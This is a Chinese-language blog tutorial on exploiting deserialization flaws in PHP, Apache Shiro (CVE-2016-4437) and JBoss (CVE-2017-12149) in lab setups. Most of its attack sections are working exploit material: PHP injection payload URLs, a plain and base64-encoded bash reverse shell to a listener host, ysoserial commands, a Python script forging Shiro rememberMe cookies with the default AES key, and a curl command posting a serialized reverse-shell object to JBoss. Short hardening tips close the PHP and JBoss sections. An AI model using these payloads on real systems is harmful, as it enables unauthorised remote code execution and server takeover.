vlambda博客
学习文章列表

php&Java(Shiro、JBoss)反序列化漏洞

一.简介


        序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。反之就是反序列化。

        php反序列化:serialize()和unserialize()两个函数,一个用于序列化、一个用于反序列化。PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的。

       Java反序列化:在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞。

php的一些魔法方法:

__construct 构造函数,创建对象时自动调用;

__wakeup  使用unserialse()函数时会自动调用;

__destruct 当对象被销毁时自动调用  (php绝大多数情况下会自动调用销毁对象)。


php序列化方法:string serialize ( mixed $value );php反序列化方法:mixed unserialize ( string $str )

Java序列化方法:ObjectOutputStream类 --> writeObject();Java反序列化方法:ObjectInputStream类 --> readObject()



二.php反序列化漏洞利用


1.echo产生xss

1.1.环境搭建

<?phpclass A{ var $test = "demo"; function __wakeup(){ echo $this->test; }}$a = $_GET['test'];$a_unser = unserialize($a);?>


1.2.poc(s:32,后面对应的值长度也要是32位)

 http://127.0.0.1/php1.php?test=O:1:"A":1:{s:4:"test";s:32:"<img src=1 onerror=alert("xss")>";}


1.3.漏洞利用


2.eval()代码执行

2.1.环境搭建

<?phpclass A{ var $test = "demo"; function __wakeup(){ eval($this->test); }}$b = new A();$c = serialize($b);echo $c;$a = $_GET['test'];$a_unser = unserialize($a);?>


2.2.poc

http://127.0.0.1/php2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}


2.3.漏洞利用

php&Java(Shiro、JBoss)反序列化漏洞


3.防护

不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。



三.Java反序列化漏洞利用


1.Shiro-550反序列化漏洞利用(CVE-2016-4437)

       简介:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

        漏洞产生原因:Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。


1.1.环境搭建

1.1.1.docker安装(kali)

curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add - //下载镜像,添加密钥echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list //配置docker aptsudo apt-get update //更新aptsudo apt-get docker docker-engine docker.io //安装docker依赖包sudo systemctl start docker    //启动dockersudo systemctl enable docker   //设置开机自启


1.1.2.漏洞版本<=1.2.4,使用docker搭建存在漏洞的框架

docker pull medicean/vulapps:s_shiro_1     //获取docker镜像docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1   //启动docker镜像


1.1.3.搭建完成,使用8080端口访问

php&Java(Shiro、JBoss)反序列化漏洞


1.2.漏洞利用,反弹shell

1.2.1.漏洞检测

https://github.com/insightglacier/Shiro_exploit

命令

 python.exe .\shiro_exploit.py -u 192.168.10.6:8080


http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.10.6/1234 0>&1                  bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjYvMTIzNCAwPiYxCg==}|{base64,-d}|{bash,-i}


1.2.3.kali上开2个终端分别运行,开始端口监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjYvMTIzNCAwPiYxCg==}|{base64,-d}|{bash,-i}'
nc -lvp 6666

php&Java(Shiro、JBoss)反序列化漏洞


1.2.4.在Shiro_exploit-master目录下创建shiro.py文件,然后运行

python.exe .\shiro.py 192.168.10.6:6666

poc(shiro.py)

import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print ("rememberMe={0}".format(payload.decode()))

生成payload

php&Java(Shiro、JBoss)反序列化漏洞

rememberMe=Fo+gKKpNTGqSUIRSSph7pa00gY87a+edxDcQQu8BJqd2r74009+JazPS+UH+UzR7z2lceoFh1H1e9GisvrVRkoikAwR4qS6A9Y3KmI4t5UcytXs9zDNJ2d1tFN4gJ3YHxlsYtEq6yoaBwW4MmXWi1TdheKZoUKqsbXyOJG+2N6hnbFszohynVE5/0U5ouwLF1rWpdOkdlBxA6xd12kHpRDrmYHKLHKxxGOgGvmpxXD56OLr+YnawRZGR/VFzZUA4/WDBYtzA+Zp9ZhrsYjn9G/MYxGL3EhhR2sWrqX+9MIqgr2RyaIjYh4UhJBmXcE18REKMc9a1URY7K6oZk3J8Mqdbgn9ZwfilcyMK74wzitXJyTpC+LbQpCAf241Pr3+B8oB76hASi/bGPXh6iLmEZQ==


1.2.5.burp抓包,并伪造cookie

php&Java(Shiro、JBoss)反序列化漏洞


1.2.6.成功反弹shell

php&Java(Shiro、JBoss)反序列化漏洞


1.2.7.java监听接口,查看服务器连接情况

php&Java(Shiro、JBoss)反序列化漏洞



3.JBoss反序列化漏洞(CVE-2017-12149)


         简介:JBoss是一个基于J2EE的开放源代码应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

        漏洞产生原因:JBoss 反序列化漏洞,该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致恶意访问者通过精心设计的序列化数据执行任意代码。JBossAS 6.x、5.x版本受该漏洞影响,恶意访问者利用该漏洞无需用户验证即可获得服务器的控制权。


3.1.环境搭建(此漏洞影响 5.X以 及 6.X版本,我下载的是 JBoss AS6.1.0.Final )

https://jbossas.jboss.org/downloads

解压压缩包,cmd 进入 \jboss-6.1.0.Final\bin 目录下

在 cmd 中执行 run.bat -b 0.0.0.0(注意:java版本不能过高,我使用的是Jdk8)

php&Java(Shiro、JBoss)反序列化漏洞


php&Java(Shiro、JBoss)反序列化漏洞


3.2.漏洞利用,反弹shell

3.2.1.漏洞检测

访问http://192.168.10.4:8080/invoker/readonly出现500,证明可能存在漏洞

php&Java(Shiro、JBoss)反序列化漏洞


3.2.2.下载利用工具JavaDeserH2HC

http://scan.javasec.cn/java/JavaDeserH2HC.zip


3.2.3.在工具目录下执行命令进行文件编译

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.javajava -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.10.10:6666 //反弹shell的ip和端口


php&Java(Shiro、JBoss)反序列化漏洞


3.2.4.这个时候会在目录下生成一个ReverseShellCommonsCollectionsHashMap.ser文件,kali使用nc开启监听,并且curl 这个二进制文件发送payload至靶机


nc -lvp 6666   //kali开启监听
curl http://192.168.10.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser


php&Java(Shiro、JBoss)反序列化漏洞


成功反弹shell


3.3.使用自动化工具进行命令执行

jboss-_CVE-2017-12149-master下载与使用

https://github.com/yunxu1/jboss-_CVE-2017-12149


3.4.防护

 3.4.1.不需要 http-invoker.sar 组件的用户可直接删除此组件;

 3.4.2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中, 用于对 http invoker 组件进行访问控制:

<url-pattern>/*</url-pattern>

3.4.3.升级至jboss 7.x版本。